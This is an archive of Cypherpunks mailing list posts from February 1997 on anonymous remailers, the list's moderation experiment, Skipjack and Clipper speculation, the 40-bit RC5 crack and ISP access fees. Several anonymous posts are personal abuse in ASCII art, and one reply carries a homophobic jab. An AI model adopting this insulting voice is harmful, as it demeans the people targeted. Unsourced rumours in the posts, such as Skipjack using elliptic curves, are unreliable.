 www.stanford.edu/~llurch





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 7 Feb 1997 02:15:09 -0800 (PST)
To: ISP_Ratings <boursy@earthlink.net>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <32FA7951.38A3@earthlink.net>
Message-ID: <Pine.LNX.3.95.970207050959.17740D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Feb 1997, ISP_Ratings wrote:

> lcs Remailer Administrator wrote:
> > 
> > Because of recent attacks on the remailer network and mail2news
> > gateways, I may loose access to at least one of the news servers I
> > currently feed news to from my mail2news gateway.
> > 

Who attacked the network and for what reason?

> > If you are a news administrator, believe in free speech and anonymity,
> > and you would like to help the cause, please consider giving transfer
> > (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> > not be the only server, and so do not need to worry about being the
> > point of entrance of mail2news articles to Usenet.
> > 
> > Please contact me if you can help.  Thank you.
> > 

Well, just who is cutting you off and for what reason?
And what is their telephone number?

> > For those who oppose the existence of mail2news gateways, you should
> > know that we are taking steps to limit the abuse.  

Just what is your definition of "abuse?"

However, doing so
> > without in any way limiting articles that abide by the usage policy is
> > tricky, and must be done carefully.  Please be patient.
> 
> 
>   I'm writing from the Freedom Knights list but am in no way
> representing them.
>   
>   What exactly do you mean by 'taking steps to limit the abuse'?  
> Personally I think much of what is called abuse is nonsense and
> that all posts, with the exception of cancels/NoCems should be
> propogated regardless of content (including what is currently
> referred to as spam).
> 
>   Also--could you forward to the Freedom Knights list a copy of
> your 'usage policy' and impressions on the Freedom Knights two
> FAQs.
> 
>   Thanks,
> 
>   Steve
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 6 Feb 1997 22:47:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: remailer-operators DEA agents?
Message-ID: <19970207054708.10191.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> c.musselman@internetmci.com (Charley Musselman) writes:
> > C'punks --
> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > and suggested that he use an anonymous remailer to post to the group,
> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > anyone know the answer?  Specifically, how can we choose a trusted
> > remailer?
>
> Even if the feds are not directtly involved, the so-called "cypher punk"
> remailers are run by people who should not be trusted.  Check out their
> remailer-operators list: it's full of announcements that some specific
> person posted something via the remailer that the operator didn't like.

Examples, please?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 07:14:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
In-Reply-To: <Pine.GSO.3.95.970206215534.234F-100000@well.com>
Message-ID: <32FB468C.68C6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> I find your "distributed democracy" interesting, except that it would
> allow scant time for deliberation. Think of it this way: don't you
> think the majority of Americans would have voted to pass the CDA?
> Or worse? Or restrictions on domestic crypto? Or worse?
> Democracy generally means majoritarian rule. The Bill of Rights is an
> anti-majoritarian document. It protects the rights of political or
> religious minorities. I fear that electronic "click here to vote"
> democracy would undermine the Bill of Rights even more.

You spoke a key phrase when you said "scant time".  When I was in
the Perot camp, I saw some direct "democracy" in action, and it was
pitiful how the little folks could be herded into voting this way
and that.  OTOH, this subject deserves more in-depth analysis, and
a good starting point could be the California referendums (Prop. 209,
etc.), followed on by Supreme Court decisions saying OK, not OK, and
so on.  That system provides a good mix of people having input and
proper Constitutional judicial review.

One of the good factors is the pamphlets the state sends out to voters
prior to the election, with a decent analysis of the issues from
opposing points of view.  Not perfect to be sure, but a good start.

> Dale Thorn writes:
> I wish for once and for all someone would delineate this "democracy"
> thing from a true, distributed democracy, where every individual is
> required to participate equally, and no narrow interests can co-opt
> the vote the way they do in the kind of "democracy" Declan mentions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 7 Feb 1997 04:19:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sphere packings
Message-ID: <199702071219.EAA26850@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dickhead Vermin K[ondom]OTM has been a source of endless
embarassments to his sympathizers on and off the net.

       _  O     O  _
        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck Fender <chuck@wazoo.com>
Date: Fri, 7 Feb 1997 08:21:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702062314.PAA02544@toad.com>
Message-ID: <3.0.1.32.19970207075655.006cd9fc@wazoo.com>
MIME-Version: 1.0
Content-Type: text/enriched

-----BEGIN PGP SIGNED MESSAGE-----

At 05:40 PM 2/6/97 -0500, you wrote:
>
>c.musselman@internetmci.com (Charley Musselman) writes:
>> C'punks --
>>         When I told a friend about the alt.drugs.pot cultivation newsgroup
>> and suggested that he use an anonymous remailer to post to the group,
>> he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> anyone know the answer?  Specifically, how can we choose a trusted
>> remailer?
>
>The solution is not to choose a trusted remailer, but to choose a
>group of remailers and send your message through each one

I run an anonymous remailer. I have a mixmaster type at mix@wazoo.com nd a
cypherpunk type at remailer@wazoo.com. Also, there is a WWW interface at
http://www.wazoo.com/~remailer.
I know that my system doesn't keep any recorders except number of messages
that go through. I am a "secure remailer". Before I set up the remailer, I
did a lot of soul searching, knowing that somewhere along the road I could
help a "baby raper" or something else I find morally objectionable. I came to
the conclusion, and I still think it is the right conclusion, that the public
service offered by an anonymous remailer far outweighs the disadvantages of
potentially helping someone I personally find objectionable.
Setting up a remailer, for someone that is already running a domain, is easy
enough to be almost trivial. With the explosion of domains the internet has
seen in the past couple of years, at least some of the remailers have to be
honest and not fronts for the DOJ, FBI, and whatever other alphabet
orginizations...
Obviously, you are thinking that any FBI agent that wanted to could post
this exact message, and YOU ARE RIGHT!
Take advantage of a string of remailers. Use proper encryption, so that none
of them know more than the next hop. Make sure you vary the order of
remailers you go through with each message. 
Being cautious, you can be almost 100% certain your message is anonymous.

Chuck
Sys Admin...
Wazoo's Computers
======================================
PGP key for remailer@wazoo.com available from all public key servers of by
fingering: remailer@wazoo.com...help file available by sending mail to
remailer@wazoo.com with a subject of remailer-help
======================================
For those that missed or already deleted the list, here are some places to
find more about remailers:
http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/
http://www.stack.nl/~galactus/remailers/index-anon.html
http://www.cs.berkeley.edu/~raph/remailer-list.html 

-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Chuck Fender <chuck@wazoo.com> Sys Admin for Wazoo's Computers

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TuHUSUaxrYU=
=rJFq
-----END PGP SIGNATURE-----


*****************************************
*          Wazoo's Computers            *
* Alamogordo's Internet Access Provider *
*           (505) 434-5090    *
*****************************************


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 7 Feb 1997 08:36:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702070655.WAA12884@toad.com>
Message-ID: <199702071636.IAA26298@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

> My posting seem to be going into Limbo, being sent neither to the
> Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
> Hell. At least this is how things now appear.

> I sent the message below to the list this morning (Thursday) at 8:43 a.m.
> PST. As of tonight, 12 hours later, I haven't seen it on either the
> Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
> to which I have temporarily subscribed (to see what Sandy counts as a
> "flame").

Now that a few weeks have passed, I have decided that moderation delays
are the most annoying feature of the new experiment.  I am subscribed to 
the unedited list under another account, and its almost instantaneous
traffic is in great contrast to the time required for posts to trickle
through the Sandfort-Bot. 

> By the way, I noted that many of the messages which appeared at the
> Singapore Web archive site have dates much later than mine, including
> several dated at least 8-10 hours after my message. Likewise, some of the
> Flames messages are dated much later than my message.

Messages apparently do not get moderated in the order in which they 
are received.  Some messages take a very long time, as other later
messages pass them by and are posted to the list.  Again, I have no
explanation for this unusual behavior.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 01:40:19 -0800 (PST)
To: shamrock@netcom.com
Subject: Skipjack uses Elliptic curve? (was Re: Moderation [Tim,Sandy])
In-Reply-To: <199702040156.RAA09627@toad.com>
Message-ID: <199702070911.JAA00127@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> wrote:
> [...]. How many of you remember the anonymous message posted to this
> list revealing that Skipjack is an elliptic curve cipher? [One of the most
> respected names in cryptography confirmed this to me in private
> conversation. No, the person was not privy to the secret specs. The person
> didn't need to be. :-]

What aspect of Skipjack family is Elliptic curve?

Skipjack itself I thought was a symmetric key block cipher, with 80
bit keys and 64 bit block size.

The key escrow designs (clipper chip and family) included several
additions:

1. check sum to prevent LEAF (Law Enforcement Access Field) forgery
   (16 bits, which is not enough as Matt Blaze demonstrated)

2. government access copy of chip's serial number encrypted with LE
   family key in LEAF 

3. copy of session key encrypted with unit's escrow key in LEAF (the
   escrow key is the key that is stored in the government database
   indexed by chip serial number - the database which is split between
   the two escrow agents).

4. hardware random number key generation

5. undisclosed key exchange mechanism

6. are DSS signatures used?

Presumably the Elliptic curve is for key exchange?  Is there something
about the design which implies Ellitpic curve must be the key exchange
mechanism used?

Another possible area for public key, if they had it on chip, would be
to use public key encryption for the encryption of the serial number.
Otherwise, when the chip is reverse engineered the LE family key would
allow traffic analysis of all clipper traffic.  Public key would
prevent this.

(According to Ross Anderson's paper on tamper proof hardware, at least
one chip manufacturer has reverse engineered the clipper chip)

> If nobody cares about the leaks, why do we need to provide a forum for
> them? Besides, there are other fora that could be used. sci.crypt or
> Coderpunks are both good places to post "found" code.

It is true that sci.crypt and coderpunks do make alternative fora.
Somebody else pointed out that rc4.c was posted to sci.crypt first.  I
think they are correct, and in fact if I remember, it was forged as
from David Sterndark <david@sterndark.com> or some other play on David
Sternlight's email address.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 01:40:16 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199702050728.XAA18196@toad.com>
Message-ID: <199702070917.JAA00129@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-unedited:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > [DH key gen questions] 
> >
> > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> > shouldn't hold, besides Sandy has a stated policy of killing the whole
> > thread, so I thought it amusing to continue your crypto relevance in
> > moving on to technical topics rather than political)
> 
> My advice is to stay clear of any cryptosystem that relies on factoring
> being hard. I'll send you pointers to some very interesting new work
> based on the zeta function in private e-mail when I dig it up (please
> remind me if/when I forget this promise). 

> I'm reluctant to say anything crypto-relevant on this defunct
> mailing list because last time I did, the moderator repeatedly cited
> it as evidence that his moderation works.

I agree, Sandy said something like "look see even Vulis has started
posting crypto relevance therefore moderation works" in one of his
defenses of the moderation experiment.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 01:40:27 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: offer of unmoderated list home (was Re: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net)
In-Reply-To: <199702050742.XAA18655@toad.com>
Message-ID: <199702070926.JAA00135@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Allen, that post had a garbled header, and some people may have missed
it, so I'll repost (your cc line was broken also, being in the subject
field, so I've added your cc line in):

: Allen Smith <EALLENSMITH@ocelot.Rutgers.EDU> forwards with permission
: Lance Cotrell's email:
:
: Lance Cottrell <loki@infonex.com> writes in email to Allen:
: >I would be happy to donate the resources to run Cypherpunks off our system.
: >We could set up the list provided we were given a list of subscribers. I
: >assume it would be unmoderated.
: >
: >	-Lance
: >
: >>	Hi. I don't know how much you've been keeping up with
: >>the discussion on cypherpunks, but there is a current proposal
: >>to distribute the list onto several different servers. I would
: >>be willing to pay for 100 subscribers to run on the cyberpass.net
: >>server, provided that somebody else (e.g., Igor Chudov) set up
: >>the system initially and was available for assistance later. Any
: >>problems on your end?
: >>	[...]
: >>	Thanks,
: >>	-Allen

I'd argue for waiting to see the outcome of the moderation experiment,
before rehoming the list.

The multiple host system proposed by Igor sounds like a good idea in
any event.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 01:30:47 -0800 (PST)
To: tcmay@got.net
Subject: Which list am I on?
Message-ID: <19970207093042.7371.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


I thought I was on the cypherpunks edited list.  However, I appear to
have seen some of the messages that Tim says got lost.  Moreover, I
keep getting ASCII art messages flaming someone with the initials DLV
(though I haven't seen any more of the TCM flames [I haven't looked
too hard, either]).  My mail headers have:

>From cypherpunks-errors@toad.com  <date>
>Sender: owner-cypherpunks@toad.com

Now I'm really confused.  Which list am I on?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 7 Feb 1997 06:37:59 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <199702062301.PAA02248@toad.com>
Message-ID: <v03007809af206481de31@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


	The alway-informed Prof. Froomkin <froomkin@law.miami.edu> asked:

>This would be the same Strassmann who stated in public at Harvard early in
>1995 that most remailers were run by intelligence agencies such as the
>KGB, then denied saying it when asked for substantiation?   And cut it
>from his paper?

	Don't know that one, but it seems feasible.  Strassmann had the
status to speak at Harvard; probably the K school.  (He's also an
interesting author, really worth a read; despite this recent balderdash.)
I kept a clip from an interview with him for years: after the bomb attack
on the World Trade Tower he proclaimed that a "Electronic Pearl Harbor"
attack on the US was inevitable.  The only question, he said, was when. Not
if.

	(It was a usefully overheated hook for some article on compsec, but
I don't think I ever used it.  Reminded me too much of warnings that
someone was bound to someday taint the city water reservoir with LSD;-)

	As I recall, that piece also quoted him as saying that he knew of
an incident where some group had held a major banking institution ransom
with a threat to destroy their data files somehow.  He refused to identify
the institution or otherwise give any further details about the incident.
Came to mind a few months back, when Winn Schwartau was firing off (also
overheated) missives from Europe reporting, with scant detail, that several
UK or European banking institutions had paid off millions when subjected to
similar blackmail.

> {...} there is some debate about the extent to which in
>*intelligence gathering* as opposed to, say, trying to crack a banking
>protocol, one can reasonably count on a known plaintext.  And much debate
>about the processing costs of not having one, especially when one doesn't
>know what kind of document is being encrypted (e.g. is it ASCII plaintext?
>a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

	The latter is a interesting debate -- but, as you note, not really
relevant in this case, where Strassmann proclaims:

>>In summary: The claim of exportable cryptography being totally
>>insecure, because it can be cracked in 3.5 hours is not
>>realistic. The three clues announced in the contest
>>would not apply  under infowar conditions.

	Now, an international institution which buys and bets the bank upon
US-exportable (40-bit) cryptography probably deserves what it has bought:
espionage-enabled software designed for fast and cheap decryption by spooks
and sundry college kids with access to a handful of machines.  The original
annoucement of the RSA Secret Key Challenge declared forthrightly that even
56-bit keys -- whatever the algorithm! -- offer only "minimal" security.
(What Goldberg did in hours, many could do in a days or weeks with much
less equipment.  A 40-bit key length offers a universe of about, what? a
trillion possible keys.)

	And while there might be debate as to how hard it is to attack
cyphertext when the attacker doesn't know _anything_ about the message (not
its data format; not the language being used; nothing!) there is really
none about the fact that -- with virtually any piece of that puzzle -- the
attack becomes relatively straightforward.  A big job for a little machine,
but conceivable: grab a key, decrypt, and then match for the right stats.

	Rare indeed is the commercial message, or even the typical
government transmission, where its original digital format is not easily
guessed -- if not known for certain. That is the contemporary, real-world,
infowar/infocrime environment.

	To a machine -- which is, after all, looking for a statistical
pattern in the results, not "meaning" -- knowing that the message is in
English (and/or coded in ASCII) is functionally equivalent to an
old-fashioned human codebreaker being given a matched plaintext/cyphertext
sample.  Given that much, the computer doesn't need the plaintext!  It's
counterintuitive to the layman, but one would expect a savvy systems guy
like Strassmann to know this cold.  Even my son, at 4, understands that a
computer manipulates the fodder fed it only in terms of ones and zeros.

	Statistics, not the "plaintext" clue, reveal who dun it... to the
machine.

	Clue #3 -- "the giveaway."  Lord help us!  Paul Strassmann has
probably taught a generation of the DC InfoWar accolytes how to think about
this stuff!!!

	Hopefully their kids can re-educate them.

	Suerte,
		_Vin


         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 06:56:16 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: alt.cypherpunks (was: Re: My Departure, Moderation, and "Ownership of the List")
In-Reply-To: <199702040156.RAA09634@toad.com>
Message-ID: <199702071446.JAA12464@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Adam" == Adam Back <aba@dcs.ex.ac.uk> writes:

Adam> Perhaps it is time to reconsider the benefits of
Adam> alt.cypherpunks.  (As an aside, it is ironic that John Gilmore
Adam> was the guy who started the alt.* USENET hierarchy, specifically
Adam> to facilitate freedom of speech).

This would have another benefit.  More sophisticated tools exist for
filtering usenet than for filtering email in a voluntarily cooperative
way.  For example, I use a fairly extensive .procmailrc file to filter
my email, and blow away stuff that's either spam or a post from
someone I consider a blathering idiot.  There are some other folks on
the list who likely do the same thing, and there are some whose
.procmailrc files I'd like to see, and likely include in my own.  But
there's no easy way to do that.

With alt.cypherpunks, anyone who wishes to "help kill noise" could
simply issue a NoCeM report, and those of us with reasonable
newsreaders would be able to "listen" to the reports from people with
whom we want to cooperate.  And we can ignore the rest.  

The beauty of this scheme is that the control of the list is in the
hands of the individual reader, without requiring huge amounts of
redundant effort.

It's also occurred to me that there can be folks who NoCeM the NoCeM
reports :-)

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtAVX6R34u/f3zNAQEFBQf9F6K+47WukspV3BU3E5+/hR9ARVc0cGt5
1zTwkipAqGOZeXMm4//vPYh/q9DyKzV2VLLr/sY7cRiBCypv2BP8y8e8dqkK0eYq
LGaLpmF5IGomJA2iCLYmgQAWJrdhKIBxwyuX0hyDwjTvOF/S4BSV2x1b0dR3q1RB
goV/3vqvxpEan/iy53M+rMAaYffb4s+TRslIJY5ct1ddx+5aeQGOAmgnGWToK1Ja
5ZLYUwkLQ1By14FxC4451uJDHxARNZcKVuu/dcfH+oWYQFrTo9CPi+7Ykpyyxz8X
0v68Gj57xEdnVgz6XshMY3NHOhiIcCuQQSJ1LjkLSfuV9ZzXuiMKQw==
=2ckb
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 07:24:15 -0800 (PST)
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702041942.LAA04370@toad.com>
Message-ID: <199702071513.KAA12494@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Jeff" == Jeff Barber <jeffb@issl.atl.hp.com> writes:

John> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
John> month.  I'll admit I made it easy for them, but the results are
John> conclusive.  There are 1311 addresses in the cypherpunks list
John> today; 42 in the unedited list; and 19 in the flames list.

Jeff> "Conclusively" this has shown only that most folks are willing
Jeff> to go along with an experiment -- especially if it requires them
Jeff> to do exactly nothing.

This is precisely the category into which I fall.  It is a pain to
unsubscribe from a list, since my "From_" header doesn't agree with my
"From:" header (the former has a specific host included, the latter
only a zone), and this often triggers a message to the list owner for
processing.

In any case, I am willing to go along with the experiment.  But a
NoCeM-style approach to killing the noise is much more preferable.
Failing that, an individual filter (such as procmail) is good.  In any
event, the responsibility of what to post and what to read should be
in the hands of each reder individually.

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtGmH6R34u/f3zNAQFQbwf9HYoT51vkHSjSJOnzXcphD7WLoOEq8WV1
rj33PUweZiibTyZg1JADdbS09QVgl80TE90YDJGQ/c77wwBuMKiJTVAz8jaixjCK
kUJ6IiQ4Ul3Q1LfyM5iC/kphQc/ILld0PHpaZl104pLoJ13rK6FCzMaQd+MZpWoJ
ZLWxrKaebFF5IH0dW9avJ3Vb5Kp+6OSGmpBwooFiq+nhuUCaeAZtOAwmutDM5d1g
oDTXGmdFuDLzjAuLcQnNAwc/nRd0bBLj3b3KFYkOzNjnl3BjOw3s4XVMF4sELOCX
aOnxZE/u7lP3HkAQtJ+PxHgthUbODE0ixDU0iuWSrDVm8gRAe4Xm0A==
=78/T
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 8 Feb 1997 02:49:06 -0800 (PST)
To: steve <steve@idoru.demon.co.uk>
Subject: Re: unimbibing
Message-ID: <855398161.106230.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!
> I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

I participate in this list to discuss cryptography and related 
issues. If you have been reading posts discussing large genitalia you 
are probably confusing list traffic with private email from your gay 
friends.

Here are instructions telling you how to unsubscribe:


To unsubscribe from the cypherpunks mailing list:

Send a message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks you@your.domain.com


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 7 Feb 1997 11:14:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702071913.LAA15166@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 07 Feb 1997 07:13:18 -0800
From: Dale Thorn <dthorn@gte.net>

:When I was in the Perot camp

Gotta be Dale!

A measure of my health; I admit preferring the invective of Tim and Dr. V. to this purile nonsense.

Pablum for the c'punk masses.

Ciao





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 03:21:24 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702052256.OAA06322@toad.com>
Message-ID: <199702071115.LAA00460@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things
> for years at conferences, in papers, on mailing lists, etc.

To get the definitive version I asked him what his relationship to DT
is (I got his email address from a sci.crypt posting), and this is
what he said:

: I am a consultant to Deloitte & Touche's information security
: practice.

So now we know.

Nice that he defended freedom to use cryptography anyway,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 03:21:16 -0800 (PST)
To: hugh@west.toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
In-Reply-To: <199702052221.OAA05812@toad.com>
Message-ID: <199702071118.LAA00462@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Could someone who is planning to go tomorrow's cpunks physical meeting
provide a short account of the interesting news to the list?

Thanks,

Adam

> What:   San Francisco Bay Area Cypherpunks monthly physical meeting
> 
> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
> 	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
> 	14:00	Break
> 	14:30   Announcements, late breaking news, etc.
> 	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
> 	16:00   Why bother killing the list?, Hugh Daniel
> 		Future Meeting Planing, IPSEC Update, etc.
> 	17:00	This hour left bank for future expansion...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 7 Feb 1997 11:22:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Zero-knowledge interactive proofs
Message-ID: <199702071922.LAA17740@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Many forgeries are traceable with mathematical 
certainty to feebleminded Timmy C. May's poison 
keyboard.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/----
               (   ) (   )
               oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Fri, 7 Feb 1997 08:25:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISPs vs Bells - Email FCC
Message-ID: <32FB57B0.122E@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Baby Bells want us to pay by the minute.  An opportunity to tell the FCC
what we think via email at isp@fcc.gov -- article follows.
*****************************************

By Michelle V. Rafter 

LOS ANGELES - Regional phone companies and Internet service providers
are waging a war of words over Internet traffic on the nation's local
telephone network and who should pay for upgrades as the online boom
continues. 

As a drama, the phone companies vs. Internet providers contest is dry,
complicated stuff, lacking the sex appeal of, say, the power struggle
between Netscape and Microsoft for control of the personal computer
desktop. 

Even so, analysts and other industry watchers counsel consumers and
businesses to take heed of the tug of war because it could affect how
much they pay to use the Internet, and ultimately, how they connect to
it. 

In one corner, Pacific Bell, Bell Atlantic and other regional phone
carriers say the growth of Internet traffic is pushing local telephone
networks to the breaking point. 

Pacific Bell, for example, says Internet surfers use its phone lines an
average of 45 minutes a day -- more than twice the amount the network
was built to handle. Heavy Internet use in Silicon Valley led to brief
service outages in that area earlier this year, the company said. 

Pacific Bell and other local phone companies say they've poured millions
of dollars into hardware improvements as a result of Internet traffic,
improvements they claim would otherwise have been unnecessary. 

To help defray costs, phone companies think providers should pay for
service on a per-minute basis, the way long-distance companies do,
rather than by the line, like other business phone customers. Internet
providers have been exempt from paying so-called access fees under a
1983 federal ruling meant to foster growth of compute data networks. 

On the other side, Internet service providers say phone companies have
it all wrong. A recent report sponsored by the Internet Access
Coalition, an industry lobby group, maintains computer traffic poses no
threat to local phone networks and that earlier phone-company studies
identifying trouble spots were based on theoretical claims and a few
areas with engineering and planning problems that could easily be
rectified. 

If Internet traffic was such a threat, phone companies wouldn't be
exacerbating the problem by jumping into the Internet access business
themselves, providers say. 

